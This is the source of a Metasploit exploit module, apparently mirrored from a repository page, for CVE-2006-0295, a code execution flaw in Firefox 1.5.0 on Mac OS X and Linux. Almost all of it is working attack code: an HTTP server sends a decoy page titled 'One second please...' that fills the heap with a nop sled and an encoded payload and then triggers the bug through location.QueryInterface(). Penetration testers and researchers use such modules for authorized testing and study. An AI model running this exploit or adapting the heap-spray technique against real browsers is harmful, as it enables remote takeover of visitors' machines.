modules/exploits/multi/browser/firefox_queryinterface.rb - master - githubmirror/metasploit-framework

modules/exploits/multi/browser/firefox_queryinterface.rb
115 строк3 KB
Spencer McIntyre
Mass rubocop changes
18 дек 2025, 18:08
18 дек 2025, 18:08602adeb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Firefox location.QueryInterface() Code Execution',
        'Description' => %q{
          This module exploits a code execution vulnerability in the Mozilla
          Firefox browser. To reliably exploit this vulnerability, we need to fill
          almost a gigabyte of memory with our nop sled and payload. This module has
          been tested on OS X 10.3 with the stock Firefox 1.5.0 package.
        },
        'License' => MSF_LICENSE,
        'Author' => ['hdm'],
        'References' => [
          ['CVE', '2006-0295'],
          ['OSVDB', '22893'],
          ['BID', '16476'],
          ['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],
        ],
        'Payload' => {
          'Space' => 1000 + (rand(256).to_i * 4),
          'BadChars' => "\x00"
        },
        'Targets' => [
          [
            'Firefox 1.5.0.0 Mac OS X',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_PPC
            }
          ],

          [
            'Firefox 1.5.0.0 Linux',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
        ],
        'DisclosureDate' => '2006-02-02',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_request_uri(cli, _request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)).nil?)

    print_status("Sending #{name}")
    send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
    handler(cli)
  end

  def generate_html(payload)
    enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))

    return <<~EOF
      <html>
      <head>
      <title>One second please...</title>
      <script language="javascript">

      function BodyOnLoad() {
        h = FillHeap();
        location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));
      };

      function FillHeap() {
        // Filler
        var m = "";
        var h = "";
        var a = 0;

        // Nop sled
        for(a=0; a<(1024*256); a++)
          m += unescape("#{enc_nops}");

        // Payload
        m += unescape("#{enc_code}");

        // Repeat
        for(a=0; a<1024; a++)
          h += m;

        // Return
        return h;
      }
      </script>
      </head>
      <body onload="BodyOnLoad()">
      </body>
      </html>
    EOF
  end
end